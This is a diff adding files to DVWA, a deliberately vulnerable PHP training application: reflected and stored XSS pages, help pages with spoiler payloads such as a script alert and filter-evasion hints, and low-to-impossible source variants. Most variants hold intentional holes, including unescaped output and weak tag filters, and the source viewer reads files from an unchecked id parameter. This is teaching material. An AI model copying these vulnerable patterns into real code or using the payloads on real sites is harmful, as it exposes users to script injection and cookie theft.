+dvwaSourceHtmlEcho( $page );
+
+?>

dvwa/vulnerabilities/view_source_all.php

@@ -0,0 +1,102 @@
+<?php
+
+define( 'DVWA_WEB_PAGE_TO_ROOT', '../' );
+require_once DVWA_WEB_PAGE_TO_ROOT . 'dvwa/includes/dvwaPage.inc.php';
+
+dvwaPageStartup( array( 'authenticated', 'phpids' ) );
+
+$page = dvwaPageNewGrab();
+$page[ 'title' ] = 'Source' . $page[ 'title_separator' ].$page[ 'title' ];
+
+$id = $_GET[ 'id' ];
+
+$lowsrc = @file_get_contents("./{$id}/source/low.php");
+$lowsrc = str_replace( array( '$html .=' ), array( 'echo' ), $lowsrc);
+$lowsrc = highlight_string( $lowsrc, true );
+
+$medsrc = @file_get_contents("./{$id}/source/medium.php");
+$medsrc = str_replace( array( '$html .=' ), array( 'echo' ), $medsrc);
+$medsrc = highlight_string( $medsrc, true );
+
+$highsrc = @file_get_contents("./{$id}/source/high.php");
+$highsrc = str_replace( array( '$html .=' ), array( 'echo' ), $highsrc);
+$highsrc = highlight_string( $highsrc, true );
+
+$impsrc = @file_get_contents("./{$id}/source/impossible.php");
+$impsrc = str_replace( array( '$html .=' ), array( 'echo' ), $impsrc);
+$impsrc = highlight_string( $impsrc, true );
+
+if( $id == 'fi' ) {
+	$vuln = 'File Inclusion';
+}
+elseif( $id == 'brute' ) {
+	$vuln = 'Brute Force';
+}
+elseif( $id == 'csrf' ) {
+	$vuln = 'CSRF';
+}
+elseif( $id == 'exec' ) {
+	$vuln = 'Command Injection';
+}
+elseif( $id == 'sqli' ) {
+	$vuln = 'SQL Injection';
+}
+elseif( $id == 'sqli_blind' ) {
+	$vuln = 'SQL Injection (Blind)';
+}
+elseif( $id == 'upload' ) {
+	$vuln = 'File Upload';
+}
+elseif( $id == 'xss_r' ) {
+	$vuln = 'Reflected XSS';
+}
+elseif( $id == 'xss_s' ) {
+	$vuln = 'Stored XSS';
+}
+
+$page[ 'body' ] .= "
+<div class=\"body_padded\">
+	<h1>{$vuln}</h1>
+	<br />
+
+	<h3>Impossible {$vuln} Source</h3>
+	<table width='100%' bgcolor='white' style=\"border:2px #C0C0C0 solid\">
+		<tr>
+			<td><div id=\"code\">{$impsrc}</div></td>
+		</tr>
+	</table>
+	<br />
+
+	<h3>High {$vuln} Source</h3>
+	<table width='100%' bgcolor='white' style=\"border:2px #C0C0C0 solid\">
+		<tr>
+			<td><div id=\"code\">{$highsrc}</div></td>
+		</tr>
+	</table>
+	<br />
+
+	<h3>Medium {$vuln} Source</h3>
+	<table width='100%' bgcolor='white' style=\"border:2px #C0C0C0 solid\">
+		<tr>
+			<td><div id=\"code\">{$medsrc}</div></td>
+		</tr>
+	</table>
+	<br />
+
+	<h3>Low {$vuln} Source</h3>
+	<table width='100%' bgcolor='white' style=\"border:2px #C0C0C0 solid\">
+		<tr>
+			<td><div id=\"code\">{$lowsrc}</div></td>
+		</tr>
+	</table>
+	<br /> <br />
+
+	<form>
+		<input type=\"button\" value=\"<-- Back\" onClick=\"history.go(-1);return true;\">
+	</form>
+
+</div>\n";
+
+dvwaSourceHtmlEcho( $page );
+
+?>

dvwa/vulnerabilities/xss_r/help/help.php

@@ -0,0 +1,57 @@
+<div class="body_padded">
+	<h1>Help - Cross Site Scripting (Reflected)</h1>
+
+	<div id="code">
+	<table width='100%' bgcolor='white' style="border:2px #C0C0C0 solid">
+	<tr>
+	<td><div id="code">
+		<h3>About</h3>
+		<p>"Cross-Site Scripting (XSS)" attacks are a type of injection problem, in which malicious scripts are injected into the otherwise benign and trusted web sites.
+			XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script,
+			to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application using input from a user in the output,
+			without validating or encoding it.</p>
+
+		<p>An attacker can use XSS to send a malicious script to an unsuspecting user. The end user's browser has no way to know that the script should not be trusted,
+			and will execute the JavaScript. Because it thinks the script came from a trusted source, the malicious script can access any cookies, session tokens, or other
+			sensitive information retained by your browser and used with that site. These scripts can even rewrite the content of the HTML page.</p>
+
+		<p>Because its a reflected XSS, the malicious code is not stored in the remote web application, so requires some social engineering (such as a link via email/chat).</p>
+
+		<br /><hr /><br />
+
+		<h3>Objective</h3>
+		<p>One way or another, steal the cookie of a logged in user.</p>
+
+		<br /><hr /><br />
+
+		<h3>Low Level</h3>
+		<p>Low level will not check the requested input, before including it to be used in the output text.</p>
+		<pre>Spoiler: <span class="spoiler">?name=&lt;script&gt;alert("XSS");&lt;/script&gt;</span>.</pre>
+
+		<br />
+
+		<h3>Medium Level</h3>
+		<p>The developer has tried to add a simple pattern matching to remove any references to "&lt;script&gt;", to disable any JavaScript.</p>
+		<pre>Spoiler: <span class="spoiler">Its cAse sENSiTiVE</span>.</pre>
+
+		<br />
+
+		<h3>High Level</h3>
+		<p>The developer now believes they can disable all JavaScript by removing the pattern "&lt;s*c*r*i*p*t".</p>
+		<pre>Spoiler: <span class="spoiler">HTML events</span>.</pre>
+
+		<br />
+
+		<h3>Impossible Level</h3>
+		<p>Using inbuilt PHP functions (such as "<?php echo dvwaExternalLinkUrlGet( 'https://secure.php.net/manual/en/function.htmlspecialchars.php', 'htmlspecialchars()' ); ?>"),
+			its possible to escape any values which would alter the behaviour of the input.</p>
+	</div></td>
+	</tr>
+	</table>
+
+	</div>
+
+	<br />
+
+	<p>Reference: <?php echo dvwaExternalLinkUrlGet( 'https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)' ); ?></p>
+</div>

dvwa/vulnerabilities/xss_r/index.php

@@ -0,0 +1,66 @@
+<?php
+
+define( 'DVWA_WEB_PAGE_TO_ROOT', '../../' );
+require_once DVWA_WEB_PAGE_TO_ROOT . 'dvwa/includes/dvwaPage.inc.php';
+
+dvwaPageStartup( array( 'authenticated', 'phpids' ) );
+
+$page = dvwaPageNewGrab();
+$page[ 'title' ]   = 'Vulnerability: Reflected Cross Site Scripting (XSS)' . $page[ 'title_separator' ].$page[ 'title' ];
+$page[ 'page_id' ] = 'xss_r';
+$page[ 'help_button' ]   = 'xss_r';
+$page[ 'source_button' ] = 'xss_r';
+
+dvwaDatabaseConnect();
+
+$vulnerabilityFile = '';
+switch( $_COOKIE[ 'security' ] ) {
+	case 'low':
+		$vulnerabilityFile = 'low.php';
+		break;
+	case 'medium':
+		$vulnerabilityFile = 'medium.php';
+		break;
+	case 'high':
+		$vulnerabilityFile = 'high.php';
+		break;
+	default:
+		$vulnerabilityFile = 'impossible.php';
+		break;
+}
+
+require_once DVWA_WEB_PAGE_TO_ROOT . "vulnerabilities/xss_r/source/{$vulnerabilityFile}";
+
+$page[ 'body' ] .= "
+<div class=\"body_padded\">
+	<h1>Vulnerability: Reflected Cross Site Scripting (XSS)</h1>
+
+	<div class=\"vulnerable_code_area\">
+		<form name=\"XSS\" action=\"#\" method=\"GET\">
+			<p>
+				What's your name?
+				<input type=\"text\" name=\"name\">
+				<input type=\"submit\" value=\"Submit\">
+			</p>\n";
+
+if( $vulnerabilityFile == 'impossible.php' )
+	$page[ 'body' ] .= "			" . tokenField();
+
+$page[ 'body' ] .= "
+		</form>
+		{$html}
+	</div>
+
+	<h2>More Information</h2>
+	<ul>
+		<li>" . dvwaExternalLinkUrlGet( 'https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)' ) . "</li>
+		<li>" . dvwaExternalLinkUrlGet( 'https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet' ) . "</li>
+		<li>" . dvwaExternalLinkUrlGet( 'https://en.wikipedia.org/wiki/Cross-site_scripting' ) . "</li>
+		<li>" . dvwaExternalLinkUrlGet( 'http://www.cgisecurity.com/xss-faq.html' ) . "</li>
+		<li>" . dvwaExternalLinkUrlGet( 'http://www.scriptalert1.com/' ) . "</li>
+	</ul>
+</div>\n";
+
+dvwaHtmlEcho( $page );
+
+?>

dvwa/vulnerabilities/xss_r/source/high.php

@@ -0,0 +1,12 @@
+<?php
+
+// Is there any input?
+if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
+	// Get input
+	$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
+
+	// Feedback for end user
+	$html .= "<pre>Hello ${name}</pre>";
+}
+
+?>

dvwa/vulnerabilities/xss_r/source/impossible.php

@@ -0,0 +1,18 @@
+<?php
+
+// Is there any input?
+if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
+	// Check Anti-CSRF token
+	checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
+
+	// Get input
+	$name = htmlspecialchars( $_GET[ 'name' ] );
+
+	// Feedback for end user
+	$html .= "<pre>Hello ${name}</pre>";
+}
+
+// Generate Anti-CSRF token
+generateSessionToken();
+
+?>

dvwa/vulnerabilities/xss_r/source/low.php

@@ -0,0 +1,9 @@
+<?php
+
+// Is there any input?
+if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
+	// Feedback for end user
+	$html .= '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
+}
+
+?>

dvwa/vulnerabilities/xss_r/source/medium.php

@@ -0,0 +1,12 @@
+<?php
+
+// Is there any input?
+if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
+	// Get input
+	$name = str_replace( '<script>', '', $_GET[ 'name' ] );
+
+	// Feedback for end user
+	$html .= "<pre>Hello ${name}</pre>";
+}
+
+?>

dvwa/vulnerabilities/xss_s/help/help.php

@@ -0,0 +1,56 @@
+<div class="body_padded">
+	<h1>Help - Cross Site Scripting (Stored)</h1>
+
+	<div id="code">
+	<table width='100%' bgcolor='white' style="border:2px #C0C0C0 solid">
+	<tr>
+	<td><div id="code">
+		<p>"Cross-Site Scripting (XSS)" attacks are a type of injection problem, in which malicious scripts are injected into the otherwise benign and trusted web sites.
+			XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script,
+			to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application using input from a user in the output,
+			without validating or encoding it.</p>
+
+		<p>An attacker can use XSS to send a malicious script to an unsuspecting user. The end user's browser has no way to know that the script should not be trusted,
+			and will execute the JavaScript. Because it thinks the script came from a trusted source, the malicious script can access any cookies, session tokens, or other
+			sensitive information retained by your browser and used with that site. These scripts can even rewrite the content of the HTML page.</p>
+
+		<p>The XSS is stored in the database. The XSS is permanent, until the database is reset or the payload is manually deleted.</p>
+
+		<br /><hr /><br />
+
+		<h3>Objective</h3>
+		<p>Redirect everyone to a web page of your choosing.</p>
+
+		<br /><hr /><br />
+
+		<h3>Low Level</h3>
+		<p>Low level will not check the requested input, before including it to be used in the output text.</p>
+		<pre>Spoiler: <span class="spoiler">Either name or message field: &lt;script&gt;alert("XSS");&lt;/script&gt;</span>.</pre>
+
+		<br />
+
+		<h3>Medium Level</h3>
+		<p>The developer had added some protection, however hasn't done every field the same way.</p>
+		<pre>Spoiler: <span class="spoiler">name field: &lt;sCriPt&gt;alert("XSS");&lt;/sCriPt&gt;</span>.</pre>
+
+		<br />
+
+		<h3>High Level</h3>
+		<p>The developer believe they have disabled all script usage by removing the pattern "&lt;s*c*r*i*p*t".</p>
+		<pre>Spoiler: <span class="spoiler">HTML events</span>.</pre>
+
+		<br />
+
+		<h3>Impossible Level</h3>
+		<p>Using inbuilt PHP functions (such as "<?php echo dvwaExternalLinkUrlGet( 'https://secure.php.net/manual/en/function.htmlspecialchars.php', 'htmlspecialchars()' ); ?>"),
+			its possible to escape any values which would alter the behaviour of the input.</p>
+	</div></td>
+	</tr>
+	</table>
+
+	</div>
+
+	<br />
+
+	<p>Reference: <?php echo dvwaExternalLinkUrlGet( 'https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)' ); ?></p>
+</div>

dvwa/vulnerabilities/xss_s/index.php

@@ -0,0 +1,79 @@
+<?php
+
+define( 'DVWA_WEB_PAGE_TO_ROOT', '../../' );
+require_once DVWA_WEB_PAGE_TO_ROOT . 'dvwa/includes/dvwaPage.inc.php';
+
+dvwaPageStartup( array( 'authenticated', 'phpids' ) );
+
+$page = dvwaPageNewGrab();
+$page[ 'title' ]   = 'Vulnerability: Stored Cross Site Scripting (XSS)' . $page[ 'title_separator' ].$page[ 'title' ];
+$page[ 'page_id' ] = 'xss_s';
+$page[ 'help_button' ]   = 'xss_s';
+$page[ 'source_button' ] = 'xss_s';
+
+dvwaDatabaseConnect();
+
+$vulnerabilityFile = '';
+switch( $_COOKIE[ 'security' ] ) {
+	case 'low':
+		$vulnerabilityFile = 'low.php';
+		break;
+	case 'medium':
+		$vulnerabilityFile = 'medium.php';
+		break;
+	case 'high':
+		$vulnerabilityFile = 'high.php';
+		break;
+	default:
+		$vulnerabilityFile = 'impossible.php';
+		break;
+}
+
+require_once DVWA_WEB_PAGE_TO_ROOT . "vulnerabilities/xss_s/source/{$vulnerabilityFile}";
+
+$page[ 'body' ] .= "
+<div class=\"body_padded\">
+	<h1>Vulnerability: Stored Cross Site Scripting (XSS)</h1>
+
+	<div class=\"vulnerable_code_area\">
+		<form method=\"post\" name=\"guestform\" onsubmit=\"return validate_form(this)\">
+			<table width=\"550\" border=\"0\" cellpadding=\"2\" cellspacing=\"1\">
+				<tr>
+					<td width=\"100\">Name *</td>
+					<td><input name=\"txtName\" type=\"text\" size=\"30\" maxlength=\"10\"></td>
+				</tr>
+				<tr>
+					<td width=\"100\">Message *</td>
+					<td><textarea name=\"mtxMessage\" cols=\"50\" rows=\"3\" maxlength=\"50\"></textarea></td>
+				</tr>
+				<tr>
+					<td width=\"100\">&nbsp;</td>
+					<td><input name=\"btnSign\" type=\"submit\" value=\"Sign Guestbook\" onClick=\"return checkForm();\"></td>
+				</tr>
+			</table>\n";
+
+if( $vulnerabilityFile == 'impossible.php' )
+	$page[ 'body' ] .= "			" . tokenField();
+
+$page[ 'body' ] .= "
+		</form>
+		{$html}
+	</div>
+	<br />
+
+	" . dvwaGuestbook() . "
+	<br />
+
+	<h2>More Information</h2>
+	<ul>
+		<li>" . dvwaExternalLinkUrlGet( 'https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)' ) . "</li>
+		<li>" . dvwaExternalLinkUrlGet( 'https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet' ) . "</li>
+		<li>" . dvwaExternalLinkUrlGet( 'https://en.wikipedia.org/wiki/Cross-site_scripting' ) . "</li>
+		<li>" . dvwaExternalLinkUrlGet( 'http://www.cgisecurity.com/xss-faq.html' ) . "</li>
+		<li>" . dvwaExternalLinkUrlGet( 'http://www.scriptalert1.com/' ) . "</li>
+	</ul>
+</div>\n";
+
+dvwaHtmlEcho( $page );
+
+?>

dvwa/vulnerabilities/xss_s/source/high.php

@@ -0,0 +1,24 @@
+<?php
+
+if( isset( $_POST[ 'btnSign' ] ) ) {
+	// Get input
+	$message = trim( $_POST[ 'mtxMessage' ] );
+	$name    = trim( $_POST[ 'txtName' ] );
+
+	// Sanitize message input
+	$message = strip_tags( addslashes( $message ) );
+	$message = mysql_real_escape_string( $message );
+	$message = htmlspecialchars( $message );
+
+	// Sanitize name input
+	$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
+	$name = mysql_real_escape_string( $name );
+
+	// Update database
+	$query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
+	$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
+
+	//mysql_close();
+}
+
+?>

dvwa/vulnerabilities/xss_s/source/impossible.php

@@ -0,0 +1,31 @@
+<?php
+
+if( isset( $_POST[ 'btnSign' ] ) ) {
+	// Check Anti-CSRF token
+	checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
+
+	// Get input
+	$message = trim( $_POST[ 'mtxMessage' ] );
+	$name    = trim( $_POST[ 'txtName' ] );
+
+	// Sanitize message input
+	$message = stripslashes( $message );
+	$message = mysql_real_escape_string( $message );
+	$message = htmlspecialchars( $message );
+
+	// Sanitize name input
+	$name = stripslashes( $name );
+	$name = mysql_real_escape_string( $name );
+	$name = htmlspecialchars( $name );
+
+	// Update database
+	$data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
+	$data->bindParam( ':message', $message, PDO::PARAM_STR );
+	$data->bindParam( ':name', $name, PDO::PARAM_STR );
+	$data->execute();
+}
+
+// Generate Anti-CSRF token
+generateSessionToken();
+
+?>

dvwa/vulnerabilities/xss_s/source/low.php

@@ -0,0 +1,22 @@
+<?php
+
+if( isset( $_POST[ 'btnSign' ] ) ) {
+	// Get input
+	$message = trim( $_POST[ 'mtxMessage' ] );
+	$name    = trim( $_POST[ 'txtName' ] );
+
+	// Sanitize message input
+	$message = stripslashes( $message );
+	$message = mysql_real_escape_string( $message );
+
+	// Sanitize name input
+	$name = mysql_real_escape_string( $name );
+
+	// Update database
+	$query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
+	$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
+
+	//mysql_close();
+}
+
+?>

dvwa/vulnerabilities/xss_s/source/medium.php

@@ -0,0 +1,24 @@
+<?php
+
+if( isset( $_POST[ 'btnSign' ] ) ) {
+	// Get input
+	$message = trim( $_POST[ 'mtxMessage' ] );
+	$name    = trim( $_POST[ 'txtName' ] );
+
+	// Sanitize message input
+	$message = strip_tags( addslashes( $message ) );
+	$message = mysql_real_escape_string( $message );
+	$message = htmlspecialchars( $message );
+
+	// Sanitize name input
+	$name = str_replace( '<script>', '', $name );
+	$name = mysql_real_escape_string( $name );
+
+	// Update database
+	$query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
+	$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
+
+	//mysql_close();
+}
+
+?>